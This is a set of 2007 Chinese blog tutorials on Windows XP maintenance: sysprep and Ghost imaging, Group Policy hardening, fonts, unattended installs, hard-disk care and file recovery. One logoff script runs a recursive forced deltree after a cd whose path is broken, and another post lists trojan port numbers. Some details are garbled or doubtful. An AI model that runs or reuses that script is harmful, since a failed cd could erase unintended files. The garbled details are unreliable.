　　(1)在“常规设置”中设置“名称和单位”以及“产品密钥”(即安装序列号)(2)在“网络设置”中的“计算机名”中选择“使用如下计算机名”，并输入设定的名称。(3)在“高级设置”中的“语言”中选择“中文(简体)”。最后单击“完成”按钮，设置自动应答文件“sysprep.inf”，并保存在C:\Sysprep下，注意不要修改这个路径和文件名。接下来运行C:\Sysprep目录中的“sysprep.exe”开始进行系统封装，在弹出的提示对话框中单击“确定”按钮，进行封装选项的设置。其中“ 不重置激活的宽限期”和“不重新产生安全标识符”用于需要激活的系统，对于不需要激活的版本来说没有任何影响，建议勾选。这里要注意的是“使用最小化安装”选项一定要选中，“检测非即插即用硬件”不用选择，因为现在非即插即用的硬件几乎没有了。最后单击“重新封装 ”按钮，大约半分钟后封装完毕，这时电脑会自动关机，至此我们有了一个纯净的不带硬件配置信息的XP系统。

　　其次是选择一些实用的系统维护工具。

　　现在C盘中的Windows XP已经是一个完全重新封装的干净系统了，下一步是选择一些实用的工具软件打包进去。之所以要这样做，是因为很多用户对电脑都不熟悉，必须为他们准备好一些常用的工具软件，以起到日常维护系统稳定的作用。否则这么多用户一有问题就找你，你纵然有三头六臂也忙不过来：

　　1、Norton SystemWorks（诺顿电脑大师）2006

　　这是一款集系统优化、修复、监视、信息查询、数据保护和安全防范于一身的豪华软件，涵盖操作系统、应用软件和硬件的方方面面。（1）整合了诺顿防病毒/实用工具/恢复工具/诊断工具4大功能－全面提升电脑性能、恢复电脑系统故障的同时提供了可靠的安全防护；（2）自动检测并修复Windows的问题－对于系统崩溃、意外删除或安装不正确都可以从故障中恢复系统，维护您的电脑正常运行；（3）快速碎片整理及优化硬盘－有效提升电脑运行速度及资源利用；（4）一键扫描整个系统－电脑修复、性能优化及病毒防护一键搞定。有了这套诺顿电脑大师，就好像给用户准备了一个日常的系统维修工，可以省去你不少亲自上门维修的时间。

　　下载地址：http://www.sz1001.net/soft/1830.htm

　　2、瑞星杀毒软件2006　　

　　随着电脑的日益普及，电脑病毒也日益泛滥，在平常使用电脑的过程中，一不小心用户就有可能中招。所以帮用户选择一款合适的杀毒软件是很有必要的。这里我推荐的是瑞星杀毒软件2006下载版，它是瑞星公司最新研制的OOT引擎占用资源更少，查杀速度更快。2006版新增漏洞扫描系统，第一时间发现系统漏洞，并提供解决方案。全新信息中心，第一时间得知瑞星升级信息和重大病毒信息。无需下载手工升级包，一键智能升级。由于操作的傻瓜化，一般用户都可以轻松掌握杀毒要领。

　　下载地址：http://go.rising.com.cn/download/index.htm

　　3、超级兔子魔法设置

　　现在网上的恶意软件越来越多，这些软件的共同特点是：强行侵入用户电脑，无法卸载；强行弹出广告，借以获取商业利益；在后台偷偷收集用户在网上的行为习惯和帐号密码，最为恶劣的是，这些流氓软件还经常造成用户的电脑死机。超级兔子是一个完整的系统维护工具，可以清理文件和注册表里面的垃圾，最令人称道的是它的专业卸载功能：超级兔子的专业卸载可以清理一个软件在电脑内的所有记录，在卸载捆绑软件的数量方面已经达到100个，成为国内卸载捆绑软件最多的软件。再加上完善的进程管理检测功能，新的可疑启动项标示功能，绝对方便用户检测出系统的流氓软件，并彻底清除之。有了超级兔子，用户自己就可以把哪些不请自来的不速之客全部给清除出去。

　下载地址：http://www.pctutu.com/download.asp

　　4、电脑专家2005

　　当用户的电脑发生问题时，首先想要急于知道的肯定是发生故障的原因：是遇到了病毒木马，还是被强行安装了流氓软件，或是被恶意代码劫持了你的浏览器？也许有人会说：可以上论坛去提问啊! 但实际经常遇到用户的浏览器本身也发生了故障，根本打不开网页，而且多数用户也不知道哪里有这方面的论坛。这时如果你给用户安装了 “电脑专家2005”就好办多了。用户只要自己登录到“电脑专家2005”，把问题向里面的专家及网友提出来，一般一天之内就可以得到答复了，再也不用每次一遇到问题就找你。是不是省了你很多精力？

　下载地址：http://www.bizsofts.com/ComputerExpert/Download.htm

　　还有其它一些不错的工具限于文章的篇幅就不详细讲了，你可以根据自己的需要自行选择。

　　至此，XP系统和常用工具都已经有了，下面就正式开始克隆了。请使用系统引导光盘或软盘进入纯DOS系统(注意千万不要启动这个封装过的Windows XP)，然后运行最新版的Ghost 8.0，依次选择菜单中的“local→Partition→To Image”，在弹出的对话框中选择硬盘的第一分区(C盘)，并设置好镜像文件保存路径和文件名，例如“D:\ xpghost.gho”，注意在提示压缩方式时要选择“High”，即使用最大压缩方式，最终生成的xpghost.gho文件就是Windows XP的克隆了。最后，还要把这个克隆文件刻录到一张光盘上。启动Nero-Burning Rom刻录软件，把修正后的启动软盘放入软驱，并在打开的“新建专辑”窗口中选择“CD-ROM(可启动)”，勾选“启用专家设置(仅适用于高级用户！)”项，其余取默认值。把光盘卷标设置为XPREST，并把硬盘上的D:\ xpghost.gho文件拖放到光盘根目录，然后点击烧录按钮。不久，一张称心如意的克隆盘终于制作出来了。相信有了这张万能装机盘，你就可以“一张光碟走天涯”，为你的客户提供满意而及时的服务了。

用组策略强化Windows系统的三大技巧

2007-01-28T22:03:00.001+08:00

组策略是系统策略的高级扩展，是管理员为用户和计算机控制程序、网络资源、系统、Windows组件的主要工具，可对系统的各种特殊属性进行设置。简单地解释就是：组策略是调整注册表的一个所见即所得编辑器。系统高手们往往不仅精通注册表，还经常通过组策略完成一些系统的高级调整与修改。下面就介绍三招，如何利用组策略提升系统安全性。　　

　　第一招：清理IE上网痕迹

　　在Windows XP系统中，关于组策略“Internet Explorer维护”的技巧有很多，我们可以进行个性化设置。其中，可以通过添加脚本的方法，实现在退出IE时对上网痕迹进行自动清理。具体步骤是找一台Windows 2000操作系统，将Deltree.exe文件复制到Windows XP系统的system32目录下。用记事本编写一个如下内容的文本文件：

　　@echo off

　　cd c:\documents ad

　　settings\administrator\local

　　settings\temporary internet files

　　c:\winnt\system32\deltree .\*.* /y

　　将文本保存为.bat批处理文件。在“开始”　“运行”中输入“gpedit.msc”打开组策略对话框，依次进入“用户配置”　“Windows设置”　“脚本(登录/注销)”，双击右边窗口中的“注销”，在“添加”项目中导入这个脚本文件即可。

　　常见的端口号对应的协议及用途

　　21：FTP（文件传输）

　　23：TELNET（远程登录）

　　25：SMTP（发送E-mail）

　　80：HTTP（WWW服务）

　　110：POP3（接收e-mail）

　　119：NNTP（新闻服务）

　　常见木马的入侵端口号

　　灰鸽子：3389

　　黑洞：2000

　　冰河：7626

　　广外女生：6267
　　第二招：禁用指定软件程序

　　在组策略中，可以采取禁用注册表或光驱、隐藏磁盘分区等一系列设置。这些功能在Windows 2000中就能实现。在Windows XP系统中还增加了对软件的限制策略。在此以常用即时通讯软件QQ为例进行实例说明。

　　打开组策略对话框，依次进入“计算机配置”　“Windows设置”　“安全设置”　“软件限制策略”　“其它规则”　“新路径规则”，点击“浏览”，找到QQ安装目录下的“QQ.exe”文件，在“安全级别”下选择“不允许”。重启计算机后，就无法用QQ了。若要重新使用QQ，把安全级别选为“不受限的”即可。

　　第三招：打造系统防火墙　　

　　在“组策略”中还可以打造系统防火墙。在默认设置下，Windows有很多端口是开放的，网络病毒和黑客可以通过这些端口接入你的电脑。为了资料的安全，应该把不必要的端口封闭，减少居心不良者入侵的机会。以封闭80端口为例：先在“计算机配置”的“IP安全策略”中单击右键，创建一个新的IP安全策略，在“属性”中添加“筛选器列表”，在“编辑规则属性”中选择“新IP筛选器列表”对话框并点击“添加”。　　

　　现在用三个步骤屏蔽80端口。第一步寻址，源地址选“任何IP地址”，目标地址选“我的IP地址”；第二步选协议，选择“TCP”，在“到此端口”下的文本框中输入“80”；第三步创建，返回后进入“编辑规则属性”的“筛选器操作”，选择“请求安全（可选）”，确定后返回，再对“创建IP安全策略”选择“指派”。这样就对TCP的80端口的服务进行了屏蔽，因为端口80是HTFP的协议，提供WWW服务，因而屏蔽之后HTFP协议网站也将无法打开(要重新开放可对以上各项进行修改和删除)。同理我们也可对一些易被木马入侵的端口进行屏蔽，让木马靠边站。　　其他组策略安全技巧

　　1、隐藏电脑的驱动器

　　位置：用户配置\管理模板\Windows组件\Windows资源管理器

　　将“隐藏‘我的电脑’中的这些指定驱动器”和“防止从‘我的电脑’访问驱动器”设置为“已启用”并设置欲阻止访问的驱动器

　　2、禁用注册表

　　位置：用户配置\管理模板\系统将“组织访问注册表编辑工具”设置为“已启用。

　　3、禁用控制面板

　　位置：用户配置\管理模板\控制面板

　　将“禁止访问控制面板“设置为“已启用”；或启用“隐藏指定的控制面板程序”并设定隐藏的项目，如想在控制面板中隐藏Internet选项，则在隐藏控制面板程序里添加Inetcpl.cpl，具体名称可查看Windows\System32里以cpl结尾的文件。

　　4、隐藏文件夹

　　位置：用户配置\管理模板\Windows组件\Windows资源管理器将“从‘工具’菜单删除‘文件夹选项’菜单”设置为“已启用”。

　　5、关闭缩略图缓存位置：用户配置\管理模板\Windows组件\Windows资源管理器将“关闭缩略图的缓存”项设置为“已启用”

多种方法玩好Windows系统字体

2007-01-28T21:57:00.000+08:00

Windows系统中的字体，平时往往很难引起人们的注意;可是对于那些追求时尚、注重个性的朋友来说，系统字体就成了他们美化系统的一种表达方式。为了帮助那些追求个性化的朋友更好地用好字体，管好字体，本文下面就从多种角度出发，向大家推荐几则系统字体管理技巧，希望能对大家有所用处!

　　1、从效果出发，改善字体视觉感受

　　无论是在Word文档编辑窗口中，还是网页浏览窗口中，一旦将其中的文本文字尺寸设置得稍微大一些，我们的人眼就会感觉到文字字体的边缘位置处明显有锯齿现象，很显然这种现象会影响我们的视觉感受。尽管通过安装一些特殊的字体控制软件或换用其他的文字字体，可以改善原字体的锯齿现象，但这些操作都比较费时间而且也比较麻烦;事实上，我们完全可以借助Windows系统自身的力量，来轻松地改善字体的视觉显示效果，下面就是该方法的具体实施步骤:

　　首先用鼠标右键单击Windows系统桌面的空白位置处，从随后出现的右键菜单中单击“属性”命令，打开系统的显示属性设置窗口;

　　其次单击该窗口中的“外观”选项卡，并在对应的选项设置界面中单击“效果”按钮，打开如图1所示的效果设置对话框;

图 1

　　下面选中该设置对话框中的“使用下列方式使屏幕字体的边缘平滑”复选项，同时单击该选项下面的下拉按钮，从弹出的下拉列表中选中“ClearType”项目，并单击一下“确定”按钮;之后再打开Word文档编辑窗口或网页浏览窗口，看看其中的文字字体显示效果是不是更平滑了一些!?

　　2、从共享出发，扩大字体共享范围

　　多个操作系统共存于一台计算机中已经是常有的事情了，比方说安装了Windows 98操作系统后又安装了Windows XP操作系统。无论是编辑、排版文字效果，还是美化操作系统自身，我们往往都需要在计算机中安装一些特殊的字体文件;由于字体文件的安装需要耗费不小的硬盘空间，如果我们要在每个系统下重复安装一遍特殊字体文件的话，很明显就会给硬盘空间造成极大的浪费。那么我们有没有办法让同一种字体文件只安装一次，各个不同的操作系统就能共享使用它呢?答案是肯定的，我们可以依照如下步骤来操作:

　　首先将需要安装的目标字体文件直接拷贝到FAT32格式的系统分区以外的其他分区中，比方说将目标字体文件直接拷贝到F:\aaa文件夹中，该文件夹可以在各种操作系统下被轻易访问到;

　　其次依次单击“开始”/“程序”/“附件”/“Windows资源管理器”命令，打开系统的资源管理器窗口，从中找到F:\aaa文件夹;

　　接下来在F:\aaa文件夹窗口中，依次单击菜单栏中的“编辑”/“全部选定”命令，将字体目录窗口中的全部字体文件全部选中，并用鼠标右键单击处于选中状态的字体文件，再按住鼠标右键不放，同时移动鼠标到当前系统的字体目录窗口，放开鼠标右键后再从随后出现的快捷菜单中执行“在当前位置创建快捷方式”命令，这样这些特殊字体就能在当前系统使用了。

　　下面再重新启动一下计算机，并选择启动另外一种操作系统，之后再按上面的方法将F:\aaa文件夹中所有字体文件的快捷方式拖放到另外一个操作系统的字体目录中，这样另外一个操作系统也能正常使用那些特殊字体文件了，这样的话我们就不需要在每一个操作系统下分别安装特殊字体文件了，从而有效地节约硬盘空间资源。

　　3、从视觉出发，随意缩放字体大小

　　在浏览网页的时候，我们常常会看到一些文字字体太小的网页，为了能够更清楚地浏览这些网页内容，我们可以在浏览窗口中通过执行“查看”菜单项下面的“文字大小”命令，来对目标网页中的文字字体进行放大或缩小操作，可是这种缩放文字字体的方法不但麻烦不说，而且可供选择的缩放比例也只有“最大”、“较大”、“中”、“较小”、“小”等五种命令使用。那么有没有一种办法，可以帮助我们简单、快速地缩放网页中的文字字体呢，而且还能允许我们对文字字体的缩放比例进行随意控制呢?要做到这一点，其实很简单，我们在浏览那些包含有小字体的网页内容时，只需要先用鼠标选中目标网页，并将鼠标指针移动到目标网页的特定位置处，之后按下键盘上的Ctrl功能键，同时对鼠标中间的轮子进行滚动操作，如果顺时针转动鼠标中间的轮子时，那么网页中的字体文字就会不断放大，如果逆时针转动鼠标中间的轮子时，那么网页中的字体文字就会不断缩小。当然需要提醒各位注意的是，对于一些特殊的网页来说，单纯转动鼠标中间的轮子并不能对网页中的文字进行缩放操作!

　　4、从显示出发，确保字体原样显示

　　为了增强文档的显示效果，我们常常在自己的计算机中安装使用了一些特殊字体，可是用这些特殊字体编辑起来的文档内容只能在本地计算机中浏览，它的特殊效果才能被我们感觉出来;这样的文档一旦发送给别人浏览时，别人的计算机由于没有安装对应的特殊字体，那么文档中的所有特殊字体都会在默认状态下被系统的缺省字体所替代，如此一来我们的文档编辑排版效果再好，到了别人手里照样是平平淡淡。那么我们有没有办法让一些特殊的字体直接嵌入到文档中，确保包含特殊字体的文档内容在任何普通的计算机中都能保持原来的显示效果呢?其实对于由Word 2000程序编辑的文档来说，我们可以按照如下方法来确保特殊字体按原样效果显示:

　　首先启动Word 2000应用程序，并用该程序打开包含有特殊字体的目标文档，然后在文档编辑界面中，单击菜单栏中的“工具”菜单项，从其后弹出的下拉菜单中单击“选项”项目，进入目标文档的选项设置窗口;

　　其次单击该设置窗口中的“保存”选项卡，打开如图2所示的选项设置界面，检查该界面中的“只嵌入所用字符”项目与“嵌入TrueType字体”项目目前是否处于选中状态，如果当前还没有被选中的话，那我们必须及时将它们全部选中，再单击一下选项设置窗口中的“确定”按钮，这么一来包含有特殊字体的文档即使在没有安装特殊字体的计算机中打开，其特殊字体的显示效果也不会发生丢失。

图 2

　　5、从安装出发，控制字体正确显示

　　缺省状态下，已经安装在Windows系统的字体文件一般都会正确显示在Photoshop应用程序的字体列表框中，不过在有的情况下如果Photoshop应用程序先安装，而那些特殊字体文件后安装到系统中的话，那么这些后安装的特殊字体文件可能无法正确显示到Photoshop应用程序的字体列表框中。遇到这种情况时，我们有没有办法在不改变安装顺序的前提下，就能让后安装的特殊字体文件正确显示在Photoshop应用程序的字体列表框中呢?答案是肯定的，我们不妨参考下面的操作步骤来控制特殊字体文件正确显示在Photoshop应用程序的字体列表框中:

　　首先运行Photoshop应用程序，从其弹出的程序编辑界面中单击“编辑”菜单项，在随后出现的下拉菜单中单击“预置”命令，再从下级菜单中执行“常规”命令，打开如图3所示的参数设置对话框;

图 3

　　其次在该参数设置对话框的“选项”设置项处，检查一下“显示英文字体名称”项目是否处于选中状态，要是发现该项目已经被选中的话，我们只要将其取消选中，再单击一下“好”按钮，这样就能使后安装的特殊字体文件正确地显示在Photoshop应用程序的字体列表框中了。

Windows XP系统"安全模式"妙用全接触

2007-01-28T21:56:00.000+08:00

快速安装 Windows XP 操作系统独家秘籍

2007-01-28T21:54:00.000+08:00

论菜鸟还是老鸟，用上电脑后，自己新装或者重装所需的操作系统是避免不了要做的事情。虽然安装操作系统的过程不算太复杂，但也的确是一件劳神费力的辛苦事。

　　1.重装系统的主要步骤

　　首先要调整系统引导顺序。一般是在开机的时候，按下DEL键，进入BIOS设置界面，将系统引导顺序中的设置更改为“CD-ROM”(光驱优先启动)。

　　然后，对硬盘进行重新格式化。为了让新安装的操作系统拥有“绝对纯净”的环境，很多人都习惯在重装前对系统分区重新进行格式化，以消除原有系统可能造成的影响。

　　须要注意的是，如果原先在硬盘的某个分区中安装了其他操作系统，那么新的操作系统就不要再安装在同一个分区了，这样有利于在多系统并存情况下加强各个系统的稳定性。

　　接下来安装新的操作系统。用Windows安装光盘引导系统，然后按照安装向导的提示一步步进行操作。这个过程最是漫长，而且电脑每过一段时间就会冒个问题出来，比如“你准备把系统装到哪里”、“你的序列号是什么”、“你这台电脑叫什么名字”……如果你不及时回答，它就会把整个安装过程停下来等你，十分烦人。

　　最后还要安装各种驱动程序。大多数情况下，虽然系统会预置一些基本的驱动程序，但为了更好地发挥硬件效能，我们还是应该手工安装一些更合适的驱动程序。

　　如果经常上网，那么安装最新的补丁程序或补丁包也是一个必要的步骤。联上互联网，可以去微软公司的更新站点下载关键更新和Service Pack、Windows XP、驱动程序更新等不同类别的更新程序，而且为了省事，我们可以下载和安装打包了的补丁包，省去逐个查找、逐个安装的麻烦。更新后，可以提供系统的安全性、稳定性，同时也提供了一些更好的新功能。

　　2.使用安装脚本

　　一般来说，顺利地装完操作系统，须要花费1～2个小时的时间，如果系统配置稍低档一些，所需要的时间就更长了。

　　前面已经提到，在安装过程中，虽然大部分的操作由安装程序自动进行，但是仍然有很多步骤须要用户选择有关的选项或者输入一些信息(序列号、区域和语言、计算机名称、管理员密码、日期和时间设定、网络设置等)后，安装才能进行下去。这样一来，我们就只好守在计算机前，随时等待回答电脑提出的问题。很多人 “重装系统好累”，其实就“累”在这里。

　　于是，一些高手便找到了偷懒的办法。他们将一些固定的选择操作和设置信息保存为一个脚本文件，把准备回答电脑的答案全都放在里面。这样，当安装程序想要提问时，就能直接在脚本里找到答案，实现无人参与的全自动安装，而高手们则可以舒舒服服地离开电脑去做其他的事了。下面，我们就以目前主流的Windows XP为例，介绍如何为Windows XP创建安装脚本，实现无人参与的全自动安装方法。

　　在Windows XP安装光盘的“SUPPORT\TOOLS”目录中有一个“DEPLOY.CAB”文件，用WinRAR解压缩软件打开该文件，解压出其中的setupmgr.exe程序，它就是传说的“Windows 安装管理器”。

　　双击setupmgr.exe程序，启动Windows安装管理器，同时弹出的还有“Windows 安装管理器向导”对话框，通过该向导，我们可以创建所需的安装脚本。

　　要创建无人参与的安装脚本，就要先在“Windows 安装管理器向导”的“用户相互作用级别”对话框中选择“全部自动”。这样安装程序将不提示用户做出任何回答，有关的回答信息都设定在脚本文件中。

　　此外，在通常情况下，我们都是利用Windows XP的安装光盘来安装Windows，所以要在“分发文件夹”对话框中选择“否，这个应答文件将用来从CD安装”。

　　然后，单击“下一步”，勾寻我接受许可协议”，再单击“下一步”，“Windows 安装管理器向导”关闭，“Windows 安装管理器”变为活动窗口。

　　下面的内容中我们可以看到，Windows安装向导所要收集的选项设置和用户信息，都可以在Windows安装管理器中找到。根据需要，设置默认名称和单位、产品密匙(序列号)、计算机名称、管理员密码、网络组件、工作组或域、安装文件夹等等信息后，执行菜单栏中的“文件”“保存”命令进行保存。

　　要注意的是，安装程序的应答文件通常是Unattend.txt(网络预安装除外)，我们可以随意命名该文件。但是，因为我们在“Windows 安装管理器向导”中选择了“否，这个应答文件将用来从CD安装”，所以，在这里一定要把应答文件保存为“Winnt.sif”。

　　把“Winnt.sif”文件复制到一张格式化好的空白软盘上，当须要重新安装Windows XP时，在BIOS中把启动方式设置为从CD-ROM优先启动，然后插好软盘和Windows XP的安装光盘，就可以放心离开电脑去做其他事，无须操心系统安装过程了。

Windows系统中那些误操作会损害硬盘

2007-01-28T21:53:00.001+08:00

本文要叙述的是会造成硬盘毁灭性故障的错误及操作，不是一般的磁盘和系统错误，这些故障通常没有先兆，一旦出现，在BIOS里也不能认出硬盘，硬盘数据挽回的可能性极小，此所谓硬盘之大敌。

　　一般地，现在的硬盘都加入了S.M.A.R.T的自动侦测技术，以便让用户能在致命的故障出现前看到先兆，备份好数据——但这都是针对正常操作情况下设计的，如果用户的使用方法如下所列，故障的出现将可能是无先兆的，也就是突然死亡。

　　一、在开机和关机的时候突然强行切断电源

　　现在的电源及主板的ATX设计，普遍实现了软关机的功能。这种设计让人倍感方便。但是软关机要先完成一系列的关闭正在运行的程序的操作，加上各种操作系统及各主板厂家设计上的兼容性、BUG，Windows在进行关闭应用程序然后切断电源的时候经常会出现死机，大家可能在很多论坛及报刊的问答专栏里，都见过问“为什么在软关机的时候死机”的问题——此时硬盘的复位动作很可能还没完成，如果用户采用强行切断电源的做法，硬盘物理受损的可能性很大。

　　*正确的做法:如果在软关机时候出现死机，应该是按RESET键，让系统重新进入Windows后，再正式完成关机操作——这样可能会繁琐一点，但是能保证硬盘安全地复位，对你上千元的硬盘来说，安全第一啊。

　　还有就是开机的时候进行的切断电源:在正常状态下当然没人会做这么无聊的操作，但是当出现一些诸如显示卡或是内存没插好、视频线松了的情况，导致电脑开机无显示的时候，很多人就只埋头于搞定看到的问题，频繁的开机、关机，插拔板卡，再开机......而没留意硬盘在一次次电源的开关下吱吱的呻吟——尤其是开机没显示，只有几秒钟的时间，硬盘的初始化动作还没完成，磁头正处于敏感位置，一下子被切断电源停机，然后在不到10秒钟的情况又受到电流冲击，发生故障的机率会大大增加。

　　*建议正确的做法:先把硬盘的电源线拔掉，你怎么玩都可以。故障排除后，再接也不迟啊。

　　二、对分区进行的误操作

　　这的确是新手的错误居多了——Windows的各种版本造成FAT16、FAT32、NTFS各种格式的存在，不同的任务导致各菜鸟蠢蠢欲动经常想变换分区格式、现在GHOST和PQ分区大师都能对分区进行随心所欲的操作，以调整分区的大小、格式，尤其是后者还具有格式化分区、隐藏分区的功能，对熟悉操作的人来说，这些工具是让人得心应手;但对于新手来说，对分区的操作应该特别谨慎。因为分区的错误虽然是软故障，不是物理故障，但是如果胡乱操作出错后，在没有弄懂基本概念的情况下，不假思索地进行“恢复”操作的话，可能会导致分区的引导区和分区表过于混乱无法再被任何工具软件识别——如果你没有分区表和硬盘引导区数据备份的话，嘿嘿，就只好低级格式化了——低级格式化的工具使用也有个熟练和懂行与否的问题，由于对分区进行误操作导致新硬盘不能再使用的案例，我见过不少。

　　*建议的措施:无论您是老鸟还是新手，在对硬盘进行敏感操作的时候，备份好分区表和引导区数据，出错的时候就能随时正确恢复了。新手最好请个师傅，先带一带，熟悉了软件的界面和指令后再自己操作，毕竟硬盘不同于其他配件，里面有你的宝贵数据哦。

　　三、Windows的初始化及使用过程中的危险习惯操作

　　Windows在初始化的时候，是较为敏感和危险的时刻，如果用户在启动组里加载了太多的东西，Windows的初始化就会耗费大量时间，也可能会造成死机——尤其是因为害怕病毒而加载了2个以上防火墙、或是在线监控病毒软件的用户，各杀毒软件之间的冲突机率很大。

　　另外，Windows系列提供了用TAB+ALT键切换各应用程序的功能，尤其是能在DOS窗口下切换回Windows界面，方便了要在旧的应用程序下工作的用户。但是因为DOS是单线程的操作系统，其应用程序也是基于这种线程的设计，所以DOS的应用程序对CPU的占用率较大，因为DOS老架构的问题，程序的反应也没Windows程序快，所以在进行Windows的DOS窗口操作的时候，建议用户的动作不要那么快，以免系统响应不及造成死机;另外，使用TAB+ALT切换的时候也应该谨慎，不要在程序还没完成当前的任务就强行切换，造成死机。

　　Windows中的错误，本来不会直接造成硬盘的物理损坏。但是这些是属于使用习惯的问题，一两次无所谓，天长日久，频繁的死机和重启动，对硬盘乃至电脑的各个配件的冲击积累起来是相当有害的;而且频繁死机容易造成人的心理急躁，可能会在电脑重新启动完成前就赌气关机，也就是出现第一种类型的致命故障的可能性。还有就是各种各样不退出Windows程序就随手关机、长期不整理硬盘和不运行磁盘扫描程序(在一些公用的计算机最常见)等等的不良习惯，都可能会埋下硬盘毁灭的根源。

　　*建议的措施:这些都是基本的东西，注意改变使用习惯就是，比如在线防杀毒软件，挂一个即可，可以定期变换其他的，但同时后台运行的不适宜太多。其他标准正确的操作在很多经验文章里都有提及，此处不多说了。

　　四、其他各类非常规错误

　　比如数据线插反、劣质的电源导致的损坏、板卡的短路等等，在各类报刊网站有很多案例，此处不一一列举了，自己注意就是。

　　总结:

　　上面所说的硬盘大敌，不一定是如此操作后马上出现故障，但是存在相当高的损坏机率——你今天还玩游戏上网好好的，随手关机后，明天没有任何提示，系统找不到硬盘了。请大家对照自己的做法，注意改进，维护硬盘用临时抱佛脚、出了问题再想办法的态度是很危险的，除非你的运气永远那么好。

Windows系统故障简单恢复技巧

2007-01-28T21:51:00.000+08:00

Windows XP是目前大家普遍使用的操作系统，其稳定性和易用性不容置疑。但是它也像人一样会闹个头疼脑热，出现点“感冒”症状，严重时得了重感冒一病不起也是不鲜见的事，这时很多人就会想到重装系统，但重装系统有一个最大的麻烦…

　　Windows XP是目前大家普遍使用的操作系统，其稳定性和易用性不容置疑。但是它也像人一样会闹个头疼脑热，出现点“感冒”症状，严重时得了重感冒一病不起也是不鲜见的事，这时很多人就会想到重装系统，但重装系统有一个最大的麻烦，就是需要之前备份，否则恢复到以前的使用习惯很难，一旦遇到一系统启动不起来，想备份也没了机会，这时你该怎么办呢?在这里我给你一个比较好的答案:

　　一、Windows环境下

　　如果你的计算机还可以进入Windows环境中，那么恭喜你，这种情况下即使系统出现了问题，仍然不会是大问题。在这种情况通常会出现以下几种方法:

　　1.从安装光盘解压缺少的一些重要文件

　　如果WindowsXP已经进入，但却发现少了某些文件，其中最常见的是Rundll32.exe的丢失。下面就以恢复这个文件为例来说明:单击“开始”/“运行”，在该窗口中输入expand x:\i386\Rundll32..ex_ c:\windows\system32\Rundll32.exe(x代表光驱盘符，rundll.ex_代表需要解压的文件，c:\windows\system32指的是目标文件夹，这些都要根据具体情况来定),即可将丢失的文件恢复至系统。当然也可以直接从其他正常运行的机器复制该文件至本机的相应目录下。

　　另外，对于丢失的dll链接文件，还可以通过Regsvr32这个程序文件来恢复，恢复的时候需要在运行窗口中输入Regsvr32 a.dll(a.dll代表丢失的链接文件)，回车后即会在注册表中注册该文件，然后在弹出的对话框中点“确定”即可。

　　2.DLL文件的恢复

　　DLL文件的名称为动态链接库文件，一般存在于Windows\system32文件夹下，该文件丢失或者被替换，一般也可进入Windows，但是执行应用程序时往往会出现系统报错。这种错误通常可以通过Sfc(系统文件检查器)。sfc是一个命令行程序，必须在WindowsXP的“命令提示符”窗口下才能运行，为了实现多种功能，sfc提供了多个参数，使用格式为:sfc/参数1 /参数2……，各个参数之间要用一个空格隔开。下面介绍一下其几个主要的参数，以方便大家使用:

　　/scannow:用来扫描所有受保护的系统文件，也是应用比较广的一个参数，它主要是通过正确的系统文件代替错误的系统文件。该参数还可以将最新版本的受保护系统文件放入DLLCache文件夹，而且在操作过程中可能需要WindowsXP的安装光盘，以及其补丁文件，如果你没有该光盘，而是在硬盘上备份了安装文件，可以通过修改注册表来完成该项功能。在运行窗口键入Regedit命令进入注册表编辑器窗口，找到HKey_Local_Machine\software\Microsoft\Windows\CurrentVersion\setup项，在右侧的窗口中修改Installation Sources、ServicePacksourcePath和SoutcePath三个键值为硬盘上的系统安装程序路径，这样在修复时就不用再插入WindowsXP安装光盘了。

　　/scanonce:下次启动时执行受保护系统文件的扫描，也需要读取安装光盘和补丁文件。这个命令常常在执行/scannow命令出现错误提示时才使用。

　　/scanboot:每次启动系统时都扫描所受保护的系统文件，这可能大大降低启动速度，一般不用，使用情况同/scanonce参数。

　　/purgecache:用来清除文件缓存(该文件默认情况下是在%systemroot%\system32\dllcache下)并立即扫描所有受保护的系统文件，常在其后还要加上“/cachesize=x”这个参数，这个参数是用来设置文件缓存大小的，以MB为单位，该参数如果设置较小可以节省硬盘空间，如果设置大一些可以保护系统文件，则可能尽可能地恢复更多的系统文件。

　　一般情况下执行sfc/scannow就可以对系统文件进行恢复了，时间一般在10分钟左右。

　　3.系统还原显身手

　　如果用sfc/scannow还是出错的话，则可能想到用系统还原功能来恢复系统。特别是在增删某些软件后出现了系统故障的时候，这种方法就显得尤为方便。

　　依次单击“开始→所有程序→附件→系统工具→系统还原”，运行“系统还原”命令，打开“系统还原向导”，选择“恢复我的计算机到一个较早的时间”，点击“下一步”，选择好日期后再跟着向导还原即可。

　　上文所讲系统还原功能是Windows XP中操作的，如果不能进入Windows XP系统，可以通过如下方法解决:

　　⑴安全模式运行系统还原

　　如果Windows XP能进入安全模式的话，则可在安全模式下进行系统恢复，步骤同“恢复还原点”。

　　⑵DOS模式进行系统还原

　　如果系统无法进入安全模式，则在启动时按F8，选“Safe Mode with Command Prompt”，用管理员身份登录，进入%systemroot%\windows\system32\restore目录，找到rstrui文件，直接运行rstrui文件，按照提示操作即可。

　　⑶在丢失还原点的情况下进行系统还原

　　在Windows XP预设了System Volume Information文件夹，通常是隐藏的，它保存了系统还原的备份信息。打开查看“显示所有文件和文件夹”属性，取消“隐藏受保护的系统文件”前有选择，会在每个盘中看到“System Volume Information”文件夹。利用这个文件夹可以进行数据恢复。鼠标右击“我的电脑”，选择“属性”/“系统还原”，取消“在所有驱动器上关闭系统还原”复选框，单击“应用”按钮。这样做是为了重建一个还原点。再打开“系统还原”命令，就可以找到丢失的还原点了。

　　上面的叙述是针对FAT32分区，如果系统分区为NTFS，那么在启动System Volume Information文件夹时会遇到一点麻烦。因为你可能并没有被加入到System Volume Information安全属性中，访问不到该文件。鼠标右击该文件夹，在弹出的菜单中选择“属性”，打开System Volume Information属性对话框，选中“安全”选项卡，单击“添加”按钮，打开“选择用户或组”窗口，点击该窗口右下角的“高级”按钮，然后单击“立即查找”按钮，这时会列出计算机上所有的用户和组，选中自己当前的账户或账户所在组的名称后“确定”。这样选中的账户被添加到System Volume Information安全属性中，就可以访问该文件夹了。

　　二、在DOS环境下

　　如果电脑已经进入不了WindowsXP，那么也不用太着急重装系统，因为这时还是有些方法的。

　　1.安全模式

　　在WindowsXP启动时按F8键，选择“安全模式”，如果能启动成功，则退出后再正常启动。

　　2.最后一次正确的配置

　　其基本操作同安全模式，但需要说明的是选择该项回车前要确保关闭了键盘上的NumLock指示灯。

　　3.故障恢复台

　　⑴控制台的安装

　　①控制台硬盘安装

